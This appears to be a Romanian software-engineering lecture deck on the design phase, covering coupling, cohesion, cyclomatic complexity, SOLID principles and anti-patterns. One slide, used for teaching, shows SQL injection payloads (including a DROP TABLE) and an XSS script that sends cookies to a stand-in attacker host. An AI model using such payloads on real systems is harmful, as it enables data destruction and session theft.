 Șabloane creaționale: instanțierea
 Șabloane structurale: compunerea
 Șabloane comportamentale: comunicarea
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
103
Clasificare
Le vom detalia în următoarele 6 cursuri
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
104
Idiomuri
 Incrementarea unui contor
 Basic: i = i + 1
 C: i += 1 / i++ / ++i
 Interschimbarea a două valori
 C: temp = a; a = b; b = temp;
 Python: a, b = b, a
 Perl: ($a, $b) = ($b, $a)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
105
Anti-șabloane
 Abstraction inversion
 Input kludge
 Permite, de exemplu,
code injection (vezi slide-ul următor)
 Interface bloat
 Magic pushbutton
 Race hazard
 Stovepipe system
 Anemic domain model
 BaseBean
 Circle-Ellipse problem
 God object
 Object orgy
 Poltergeists
 Yo-yo problem
Pentru explicații, vezi suportul de curs
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
SQL / Code Injection
 statement = "SELECT * FROM users WHERE name =
" ' + userName + ' ";"
 userName = a' or 't'='t
 ⇒ SELECT * FROM users WHERE name ='a' OR 't'='t';
 userName = a'; DROP TABLE users;
 ⇒ SELECT * FROM users WHERE name = 'a'; DROP TABLE users;
 Mesaj pe “guestbook”-ul unui site web:
 Nice site! <script>document.location='http://attacker.nu/cookie.cgi?'</script>
106
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
107
Concluzii
 Faza de proiectare arată CUM dorim să construim
 Se referă la domeniul soluției
 Există trei tipuri de șabloane de proiectare,
corespunzătoare nivelurilor de generalitate ale
proiectării:
 Șabloane arhitecturale (pentru proiectarea arhitecturii)
 Șabloane de proiectare (pentru proiectarea modulelor)
 Idiomuri (pentru proiectarea detaliată)
 Capacitatea de a proiecta bine vine din respectarea
principiilor de proiectare și din experiență
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

More Related Content

What's hot

Aspecte conexe procesului de dezvoltare
Aspecte conexe procesului de dezvoltareAspecte conexe procesului de dezvoltare
Aspecte conexe procesului de dezvoltareFlorin Leon
 
Sabloane de proiectare creationale (I)
Sabloane de proiectare creationale (I)Sabloane de proiectare creationale (I)
Sabloane de proiectare creationale (I)Florin Leon
 
Sabloane de proiectare comportamentale (II)
Sabloane de proiectare comportamentale (II)Sabloane de proiectare comportamentale (II)
Sabloane de proiectare comportamentale (II)Florin Leon
 
Faza de testare (I)
Faza de testare (I)Faza de testare (I)
Faza de testare (I)Florin Leon
 
Sabloane de proiectare creationale (II)
Sabloane de proiectare creationale (II)Sabloane de proiectare creationale (II)
Sabloane de proiectare creationale (II)Florin Leon
 

What's hot (7)

Aspecte conexe procesului de dezvoltare
Aspecte conexe procesului de dezvoltareAspecte conexe procesului de dezvoltare
Aspecte conexe procesului de dezvoltare
 
Sabloane de proiectare creationale (I)
Sabloane de proiectare creationale (I)Sabloane de proiectare creationale (I)
Sabloane de proiectare creationale (I)
 
Sabloane de proiectare comportamentale (II)
Sabloane de proiectare comportamentale (II)Sabloane de proiectare comportamentale (II)
Sabloane de proiectare comportamentale (II)
 
Faza de testare (I)
Faza de testare (I)Faza de testare (I)
Faza de testare (I)
 
Sabloane de proiectare creationale (II)
Sabloane de proiectare creationale (II)Sabloane de proiectare creationale (II)
Sabloane de proiectare creationale (II)
 
Extreme programming(xp)
Extreme programming(xp)Extreme programming(xp)
Extreme programming(xp)
 
programare eXtrema
programare eXtremaprogramare eXtrema
programare eXtrema
 

Similar to Faza de proiectare

Simatic step 7 v5 prog
Simatic step 7 v5 progSimatic step 7 v5 prog
Simatic step 7 v5 progMARIUS scutaru
 
Programator Fisa Postului
Programator Fisa PostuluiProgramator Fisa Postului
Programator Fisa Postuluionaca stela
 
Direct vision servicii software
Direct vision   servicii softwareDirect vision   servicii software
Direct vision servicii softwareDirectVision
 
Cv esp-europass-20191023-ionescu-ro
Cv esp-europass-20191023-ionescu-roCv esp-europass-20191023-ionescu-ro
Cv esp-europass-20191023-ionescu-roHoria-Adrian Ionescu
 
Medical application augmented reality
Medical application augmented realityMedical application augmented reality
Medical application augmented realityalle_tode
 
Indrumar laborator
Indrumar laboratorIndrumar laborator
Indrumar laboratorseyki
 
baze c++sructura unui program declarare variabilepdf.
baze c++sructura unui program declarare variabilepdf.baze c++sructura unui program declarare variabilepdf.
baze c++sructura unui program declarare variabilepdf.AdrianaDanielaCupsa
 
eoSERVER - solutia software de business in cloud!
eoSERVER - solutia software de business in cloud!eoSERVER - solutia software de business in cloud!
eoSERVER - solutia software de business in cloud!elastoffice-romania
 
Wpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan It
Wpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan ItWpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan It
Wpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan ItClaudiu Gamulescu
 
A guide to use Brainier
A guide to use BrainierA guide to use Brainier
A guide to use BrainierCorina Matu
 

Similar to Faza de proiectare (20)

Sisteme expert mps
Sisteme expert mpsSisteme expert mps
Sisteme expert mps
 
Sisteme expert mps2
Sisteme expert mps2Sisteme expert mps2
Sisteme expert mps2
 
Mps florin
Mps florinMps florin
Mps florin
 
Simatic step 7 v5 prog
Simatic step 7 v5 progSimatic step 7 v5 prog
Simatic step 7 v5 prog
 
Simatic step 7 v5
Simatic step 7 v5Simatic step 7 v5
Simatic step 7 v5
 
Php mvc framework
Php mvc frameworkPhp mvc framework
Php mvc framework
 
Procese de dezvoltare sw
Procese de dezvoltare swProcese de dezvoltare sw
Procese de dezvoltare sw
 
Programator Fisa Postului
Programator Fisa PostuluiProgramator Fisa Postului
Programator Fisa Postului
 
Direct vision servicii software
Direct vision   servicii softwareDirect vision   servicii software
Direct vision servicii software
 
Cap 7 red
Cap 7 redCap 7 red
Cap 7 red
 
Curs1-POO-Loga
Curs1-POO-LogaCurs1-POO-Loga
Curs1-POO-Loga
 
Cv esp-europass-20191023-ionescu-ro
Cv esp-europass-20191023-ionescu-roCv esp-europass-20191023-ionescu-ro
Cv esp-europass-20191023-ionescu-ro
 
Axiologic quark
Axiologic quarkAxiologic quark
Axiologic quark
 
Medical application augmented reality
Medical application augmented realityMedical application augmented reality
Medical application augmented reality
 
Music Finder
Music FinderMusic Finder
Music Finder
 
Indrumar laborator
Indrumar laboratorIndrumar laborator
Indrumar laborator
 
baze c++sructura unui program declarare variabilepdf.
baze c++sructura unui program declarare variabilepdf.baze c++sructura unui program declarare variabilepdf.
baze c++sructura unui program declarare variabilepdf.
 
eoSERVER - solutia software de business in cloud!
eoSERVER - solutia software de business in cloud!eoSERVER - solutia software de business in cloud!
eoSERVER - solutia software de business in cloud!
 
Wpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan It
Wpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan ItWpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan It
Wpm, Underclick, Claudiu Gamulescu, Iasi 2009, Plan It
 
A guide to use Brainier
A guide to use BrainierA guide to use Brainier
A guide to use Brainier
 

More from Florin Leon

Modele bazate pe energie
Modele bazate pe energieModele bazate pe energie
Modele bazate pe energieFlorin Leon
 
Retele neuronale profunde
Retele neuronale profundeRetele neuronale profunde
Retele neuronale profundeFlorin Leon
 
Regresia liniara, logistica, softmax
Regresia liniara, logistica, softmaxRegresia liniara, logistica, softmax
Regresia liniara, logistica, softmaxFlorin Leon
 
Clasificarea bazata pe ansambluri. Selectia trasaturilor
Clasificarea bazata pe ansambluri. Selectia trasaturilorClasificarea bazata pe ansambluri. Selectia trasaturilor
Clasificarea bazata pe ansambluri. Selectia trasaturilorFlorin Leon
 
Algoritmi de clasificare
Algoritmi de clasificareAlgoritmi de clasificare
Algoritmi de clasificareFlorin Leon
 
Algoritmi de grupare (clustering)
Algoritmi de grupare (clustering)Algoritmi de grupare (clustering)
Algoritmi de grupare (clustering)Florin Leon
 
Teoria jocurilor (II)
Teoria jocurilor (II)Teoria jocurilor (II)
Teoria jocurilor (II)Florin Leon
 
Teoria jocurilor (I)
Teoria jocurilor (I)Teoria jocurilor (I)
Teoria jocurilor (I)Florin Leon
 
Arhitecturi de agenti (II)
Arhitecturi de agenti (II)Arhitecturi de agenti (II)
Arhitecturi de agenti (II)Florin Leon
 
Arhitecturi de agenti (I)
Arhitecturi de agenti (I)Arhitecturi de agenti (I)
Arhitecturi de agenti (I)Florin Leon
 
Introducere in domeniul agentilor
Introducere in domeniul agentilorIntroducere in domeniul agentilor
Introducere in domeniul agentilorFlorin Leon
 
Complexitate si emergenta
Complexitate si emergentaComplexitate si emergenta
Complexitate si emergentaFlorin Leon
 
Invatarea cu intarire
Invatarea cu intarireInvatarea cu intarire
Invatarea cu intarireFlorin Leon
 
Retele neuronale (II)
Retele neuronale (II)Retele neuronale (II)
Retele neuronale (II)Florin Leon
 
Retele neuronale (I)
Retele neuronale (I)Retele neuronale (I)
Retele neuronale (I)Florin Leon
 
Rationament probabilistic
Rationament probabilisticRationament probabilistic
Rationament probabilisticFlorin Leon
 
Logica vaga (fuzzy)
Logica vaga (fuzzy)Logica vaga (fuzzy)
Logica vaga (fuzzy)Florin Leon
 

More from Florin Leon (17)

Modele bazate pe energie
Modele bazate pe energieModele bazate pe energie
Modele bazate pe energie
 
Retele neuronale profunde
Retele neuronale profundeRetele neuronale profunde
Retele neuronale profunde
 
Regresia liniara, logistica, softmax
Regresia liniara, logistica, softmaxRegresia liniara, logistica, softmax
Regresia liniara, logistica, softmax
 
Clasificarea bazata pe ansambluri. Selectia trasaturilor
Clasificarea bazata pe ansambluri. Selectia trasaturilorClasificarea bazata pe ansambluri. Selectia trasaturilor
Clasificarea bazata pe ansambluri. Selectia trasaturilor
 
Algoritmi de clasificare
Algoritmi de clasificareAlgoritmi de clasificare
Algoritmi de clasificare
 
Algoritmi de grupare (clustering)
Algoritmi de grupare (clustering)Algoritmi de grupare (clustering)
Algoritmi de grupare (clustering)
 
Teoria jocurilor (II)
Teoria jocurilor (II)Teoria jocurilor (II)
Teoria jocurilor (II)
 
Teoria jocurilor (I)
Teoria jocurilor (I)Teoria jocurilor (I)
Teoria jocurilor (I)
 
Arhitecturi de agenti (II)
Arhitecturi de agenti (II)Arhitecturi de agenti (II)
Arhitecturi de agenti (II)
 
Arhitecturi de agenti (I)
Arhitecturi de agenti (I)Arhitecturi de agenti (I)
Arhitecturi de agenti (I)
 
Introducere in domeniul agentilor
Introducere in domeniul agentilorIntroducere in domeniul agentilor
Introducere in domeniul agentilor
 
Complexitate si emergenta
Complexitate si emergentaComplexitate si emergenta
Complexitate si emergenta
 
Invatarea cu intarire
Invatarea cu intarireInvatarea cu intarire
Invatarea cu intarire
 
Retele neuronale (II)
Retele neuronale (II)Retele neuronale (II)
Retele neuronale (II)
 
Retele neuronale (I)
Retele neuronale (I)Retele neuronale (I)
Retele neuronale (I)
 
Rationament probabilistic
Rationament probabilisticRationament probabilistic
Rationament probabilistic
 
Logica vaga (fuzzy)
Logica vaga (fuzzy)Logica vaga (fuzzy)
Logica vaga (fuzzy)
 

Faza de proiectare

  • 1. Ingineria programării 4. Faza de proiectare Florin Leon Universitatea Tehnică „Gheorghe Asachi” din Iași Facultatea de Automatică și Calculatoare http://florinleon.byethost24.com/curs_ip.htm Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 2. Faza de proiectare 1. Introducere 2. Arhitectura software 3. Proiectarea modulelor 4. Metrici de proiectare 5. Principii de proiectare 6. Șabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 3. Faza de proiectare 1. Introducere 2. Arhitectura software 3. Proiectarea modulelor 4. Metrici de proiectare 5. Principii de proiectare 6. Șabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 4. 4 Simplitate și complexitate  Sunt două moduri de a proiecta un produs software. Primul este de a-l face atât de simplu încât este evident că nu există deficiențe. Al doilea este de a-l face atât de complicat încât nu există deficiențe evidente. Prima metodă este mult mai dificilă. (Hoare, 1981) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 5. 5 Proiectarea și programarea  Lipsa unei proiectări coerente conduce la scrierea de cod haotic  Cu cât te apuci mai repede să scrii cod, cu atât termini mai târziu  Programarea are și elemente de proiectare  Programarea este un act creativ, nu mecanic  Verifică deciziile de proiectare și umple golurile Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 6. 6 Nivelurile proiectării  Arhitectura sistemului  Identificarea subsistemelor principale și a modului în care comunică acestea  Are un impact major asupra performanțelor și caracteristicilor sistemului  Module / componente  Partiționarea subsistemelor (un modul poate însemna un namespace, un pachet, o bibliotecă de funcții etc.)  Interfețele publice (contracte) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 7. 7 Nivelurile proiectării  Clase și tipuri de date  Proiectare mai puțin formală, mai ușor de schimbat  Tot trebuie să existe o fază distinctă de proiectare  Funcții / metode  Mai degrabă un exercițiu mental decât o procedură documentată  Proiectarea explicită este necesară pentru algoritmi deosebiți Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 8. 8 Calitatea proiectării  Presiunea comercială  Nu este niciodată timp să se proiecteze corect, dar e întotdeauna timp să se proiecteze de două ori  Codul proiectat corect este:  Mai ușor de scris  Mai ușor de înțeles  Mai ușor de corectat  Cu mai puține defecte (erorile nu sunt ascunse)  Mai ușor de extins Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 9. 9 Proiectarea corectă: întrebări  Pentru orice problemă există mai multe variante de proiectare  Va funcționa?  Deseori apar probleme neprevăzute  Este completă?  Abia când se încearcă implementarea soluției se înțelege de fapt problema  Este cea mai bună soluție?  Este suficient de bună?  Pentru orice problemă se fac compromisuri  Performanțele se pot observa doar când sistemul este funcțional Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 10. 10 Compromisuri  Extensibilitate vs. simplitate  Niveluri suplimentare de generalitate  Eficiență vs. claritate  Creșterea cuplării pentru evitarea accesului indirect  Sistemele optimizate sunt mai puțin clare  Număr de trăsături vs. efort de dezvoltare  Mai multe trăsături au nevoie de mai mult efort  Prioritizarea depinde de cerințele proiectului Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 11. 11 Abordarea recomandată  Iterativă  Proiectare incrementală  Prudentă  Pași mici, număr limitat de decizii, localizarea erorilor  Realistă  Aplicarea metodologiilor dar și utilizarea experienței  Rezultatul depinde de calitatea specificațiilor, experiența echipei și rigoarea aplicării procedurilor  Informată  Trebuie înțelese complet cerințele și principiile problemei  Altfel, se poate rezolva altă problemă Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 12. Faza de proiectare 1. Introducere 2. Arhitectura software 3. Proiectarea modulelor 4. Metrici de proiectare 5. Principii de proiectare 6. Șabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 13. 13 Arhitectura  Orice sistem are o arhitectură  Chiar dacă nu este planificată  Lipsa unei arhitecturi corecte conduce deseori la eșecul proiectului  Arhitectura reprezintă proiectarea de nivel înalt  Prezentare generală, macro, a sistemului  Detaliile de implementare sunt ascunse Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 14. 14 Componente și conexiuni  Componentele  Unitățile logice ale sistemului: clase, procese, biblioteci, baze de date etc.  În mod ideal, o componentă îndeplinește un singur scop (sau activitate)  Conexiunile  Apeluri de funcții, evenimente, mesaje ale sistemului de operare sau din rețea (sincrone sau asincrone)  Unele comunicații sunt indirecte (de exemplu, prin resurse partajate: variabile, fișiere) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 15. Rolul arhitecturii  Identifică modulele cheie și módul în care interacționează acestea  Nu cum funcționează intern  Identifică interfețele importante  Clarifică rolurile și responsabilitățile subsistemelor  Primul pas în trecerea de la domeniul problemei către domeniul soluției  De exemplu: la analiză – sistem distribuit; la proiectare – număr de mașini și cum își vor împărți sarcinile  Compromis:  Informații în arhitectură vs. flexibilitate în fazele ulterioare  Arhitectura influențează:  Modul de lucru al echipelor (3 straturi ⇒ 3 echipe)  Evoluția produsului (reflectă capacitatea de adaptare a produsului la noi cerințe) 15 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 16. 16 Calitatea arhitecturii  Simplă, ușor de înțeles, reprezentabilă vizual  Clară, fără ambiguități  Număr optim de componente  Prea multe: prea multe detalii  Prea puține: fiecare componentă face prea mult (dificil de extins și întreținut)  Flexibilă, extensibilă, dar nu exagerat de generală  Consecință: aspect estetic plăcut Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 17. Faza de proiectare 1. Introducere 2. Arhitectura software 3. Proiectarea modulelor 4. Metrici de proiectare 5. Principii de proiectare 6. Șabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 18. Interfețele  Modúl: parte separabilă logic a unui program  Legea lui Conway: structura software-ului poate urma structura echipei  Interfața unui modul: fațada publică în spatele căreia sunt ascunse detaliile interne  Nu se referă doar la conceptul de interfață (interface) din programare  Tipuri de interfețe: biblioteci, clase, funcții, structuri de date, interfețe cu sistemul de operare, protocoale de comunicare în rețea  API (“Application Programming Interface”) = mulțimea de operații disponibile  Proiectarea defectuoasă nu pune operațiile în locul potrivit 18 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 19. Cuplarea  Forța interconexiunilor (interdependenței) dintre module  Cât trebuie să știm despre un modul pentru a înțelege alt modul  În ce măsură modificările unui modul îl afectează pe celălalt 19 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 20. Niveluri de cuplare  Cuplare prin conținut  Cuplare prin structuri comune  Cuplare prin control  Cuplare prin marcaj  Cuplare prin date 20 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 21. Cuplarea prin conținut  Modulele partajează codul: se poate „sări” dintr-un modul în codul celuilalt modul  Limbajele moderne de programare nu permit acest lucru 21 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 22. Cuplarea prin structuri comune  Modulele referențiază aceleași structuri de date globale (“common coupling”) sau aceleași variabile globale (“external coupling”) 22 Structura de date comună este customer_record Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 23. Cuplarea prin control  Un modul trimite celuilalt modul o variabilă de control care îi determină fluxul de execuție 23 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 24. Cuplarea prin marcaj  Un modul trimite celuilalt modul o structură de date ca parametru 24 Structura de date trimisă este current record Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 25. Cuplare prin date  Un modul trimite celuilalt modul variabile ca parametri 25 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 26.  Gradul de cuplare dintre două module depinde de complexitatea interfațării lor  Scop: cuplare slabă  Minimizarea numărului de interfețe ale unui modul  Minimizarea complexității interfețelor (numărul de parametri)  Trimiterea ca parametri numai a câmpurilor necesare (nu a întregului obiect)  Evitarea comunicațiilor hibride: date și control 26 Factori ce afectează cuplarea Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 27. 27 Factori ce afectează cuplarea Coupling Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 28. 28 Cuplarea în sisteme OO  Cuplarea prin interacțiune  Dintr-o metodă a unei clase se apelează altă metodă din altă clasă  Accesarea secțiunilor interne  De exemplu, conceptul de friend din C++ violează principiul încapsulării  Folosirea câmpurilor pentru a stoca date temporare și nu starea obiectelor  Metodele comunică direct prin parametri  Sunt trimise numai date și numai variabilele necesare Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 29. 29 Cuplarea în sisteme OO  Cuplarea prin compunere  O clasă folosește instanțe ale altor clase  Câmpuri, parametri: cuplare mai slabă  Variabile locale (invizibile din exterior): cuplare mai puternică  Cuplarea cu o clasă A înseamnă cuplarea potențială cu toate subclasele lui A Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 30. 30 Cuplarea în sisteme OO  Cuplarea prin moștenire  Moștenirea poate reduce cuplarea generală din sistem  A cuplată cu B, B are subclasele C, D  Dacă o metodă m este „ridicată” din C și D în B, A va fi cuplată numai cu B, nu cu C și D  Pot fi adăugate fără probleme noi subclase ale lui B  Cuplarea minimă are loc când clasele derivate nu modifică metodele moștenite, ci doar adaugă noi câmpuri și metode Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 31. 31 Coeziunea  Cât de apropiate sunt elementele aceluiași modul  Scop: coeziune puternică  În general, o coeziune puternică este corelată cu o cuplare slabă  Coeziunea unui modul este maximul de coeziune aplicabil tuturor elementelor acestuia Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 32. Niveluri de coeziune 32  Coeziune prin coincidență  Coeziune logică  Coeziune temporală  Coeziune procedurală  Coeziune comunicațională  Coeziune secvențială  Coeziune funcțională Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 33. Coeziunea prin coincidență  Module create doar pentru a evita duplicarea codului din mai multe secțiuni  Module rezultate prin partiționarea artificială a altor module (de exemplu, conform criteriului ca un modul să respecte un număr maxim permis de instrucțiuni)  Combinarea mai multor module pentru a reduce numărul modulelor din program sau pentru a respecta un număr minim de instrucțiuni pe modul 33 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 34. Coeziunea logică  Un modul conține funcții care aparțin aceleiași clase logice, adică toate elementele sale realizează operații similare  De exemplu, tratarea tuturor intrărilor sau ieșirilor  Este nevoie de o variabilă de control care să determine ce instrucțiuni se execută în fiecare caz (informații hibride, cuplarea crește) 34 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 35. Coeziunea temporală  Coeziunea temporală poate fi privită ca un tip de coeziune logică în care timpul este elementul comun  Modulele conțin funcții asociate în timp  De obicei, sunt module de inițializare sau finalizare  Elementele sunt executate în general toate împreună 35 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 36. Coeziunea procedurală  Modulele conțin funcții care aparțin unei unități procedurale comune  De exemplu, unele părți dintr-un modul sunt puse într-un nou modul: un bloc de decizie mai mare sau un bloc iterativ sunt plasate într-o altă metodă  Un modul poate avea doar părți dintr-o funcție completă  Un alt exemplu este funcția main, care execută celelalte funcții într-o anumită ordine (conform unei proceduri) 36 Cuvântul and din numele funcției ne spune că aceasta are două scopuri, nu unul singur, cum ar fi de dorit Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 37. Coeziunea comunicațională  Toate elementele unui modul operează cu aceleași date  De exemplu: găsește titlul unei cărți, respectiv autorul, editura, prețul  Acest tip de coeziune este acceptabil, dar are dezavantajul că asupra acelorași date se pot efectua operații neînrudite 37 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 38. Coeziunea secvențială  Un modul conține elemente care depind de prelucrarea anterioară a altor elemente  Într-un modul, ieșirea unui element este intrarea altui element 38 Se calculează mai întâi total-purchases și apoi discount Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 39. Coeziunea funcțională  Toate elementele unui modul sunt utilizate pentru efectuarea unei singure funcții 39 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 40. Comparație 40 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 41. 41 Coeziunea în sisteme OO  Coeziunea metodelor  Fiecare metodă implementează o funcție clar definită (coeziune funcțională)  Coeziunea claselor  De ce sunt împreună atributele și operațiile în aceeași clasă  O clasă reprezintă un concept  Dacă nu, metodele și câmpurile pot fi partiționate în mai multe clase  Coeziunea moștenirilor  Coeziunea este mare dacă ierarhia urmărește generalizarea- specializarea unui concept  Coeziunea este mică dacă scopul ierarhiei este doar partajarea codului Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 42. Faza de proiectare 1. Introducere 2. Arhitectura software 3. Proiectarea modulelor 4. Metrici de proiectare 5. Principii de proiectare 6. Șabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 43. 43 Metrici de proiectare  Se aplică doar pentru proiectarea detaliată  Utile mai ales în faza de implementare  Metrici:  Complexitatea ciclomatică  Metrica de coeziune Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 44. 44 Complexitatea ciclomatică  Ideea de bază:  Considerând două programe cu aceeași dimensiune, programul cu mai multe instrucțiuni de decizie este probabil mai complex  Complexitatea ciclomatică: M = e – n + 2p  n = numărul de noduri  e = numărul de arce  p = numărul de componente conexe (pentru un modul, este 1)  Numărul ciclomatic: V(G) = e – n + p  Dacă se adaugă un arc de la nodul final la nodul inițial, astfel încât graful să devină tare conex, M = V(G) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 45. 45 Exemplul 1 M = 10 – 7 + 1 = 4 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 46. Exemplul 2  M = 7  M = 3 46 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 47. 47 Efecte  Complexitatea ciclomatică a unui modul este numărul de decizii + 1  Recomandare: M < 10  M este o estimare a numărului de căi care trebuie testate în faza de testare  Această metrică este corelată cu dimensiunea modulului și cu numărul de defecte Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 48. 48 Metrica de coeziune  Ideea de bază este de a vedea cum sunt folosite variabilele unui modul de către codul modulului  Se construiește graful fluxului de control al modulului  I este nodul inițial  T este nodul final  Fiecare nod Si este adnotat cu variabilele pe care le referențiază  Se utilizează acest graf pentru a calcula mulțimile de referințe pentru fiecare variabilă: Ri = mulțimea de noduri care referențiază variabila i a modulului Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 49. 49 Metrica de coeziune  Pentru fiecare Ri , se calculează coeziunea:  unde:  dim(S) este numărul tuturor căilor independente de la I la T care includ cel puțin o instrucțiune din mulțimea S  G este mulțimea tuturor instrucțiunilor din modul care referențiază cel puțin o variabilă  Dacă S = G, atunci dim(S) este complexitatea ciclomatică a modulului  Altfel, dim(S) este numărul de decizii din mulțimea de instrucțiuni + 1 (complexitatea ciclomatică a mulțimii) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 50. 50 Metrica de coeziune  Coeziunea unui modul cu n variabile este:  Dacă un modul are o coeziune puternică, majoritatea variabilelor vor fi utilizate de instrucțiuni în majoritatea căilor din modulul respectiv Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 51. 51 Exemplu (același program) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 52. .NET Reflector 52 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 53. .NET Reflector 53 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 54. Faza de proiectare 1. Introducere 2. Arhitectura software 3. Proiectarea modulelor 4. Metrici de proiectare 5. Principii de proiectare 6. Șabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 55. 55 Principii fundamentale  Principiul deschis-închis  Principiul substituției  Principiul inversiunii dependențelor  Principiul responsabilității unice  Principiul segregării interfețelor  SOLID  S – Single responsibility principle  O – Open-closed principle  L – Liskov substitution principle  I – Interface segregation principle  D – Dependency inversion principle Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 56. Principiul deschis-închis  O clasă trebuie să fie deschisă pentru extindere dar închisă pentru modificări (Bertrand Meyer, 1998) 56 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 57. Exemplu: problemă 57 Se adaugă alte forme geometrice Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 58. Exemplu: soluție 58 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 59. Principiul substituției  Subclasele trebuie să fie substituibile claselor lor de bază (Barbara Liskov, 1997) 59 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 60. Exemplul 1: rața electrică 60 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 61. Exemplul 2: cercul și elipsa (cazul 1) 61 Generalizarea este corectă: cercul este o elipsă cu razele egale Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 62. Cazul 1 62 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 63. Cazul 1 63 ec este o elipsă, dar nu are efect Stretch Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 64. Cazul 2 64 notație inconsistentă (de fapt, conceptul de rază unică nu este aplicabil unei elipse) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 65. Cazul 2 65 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
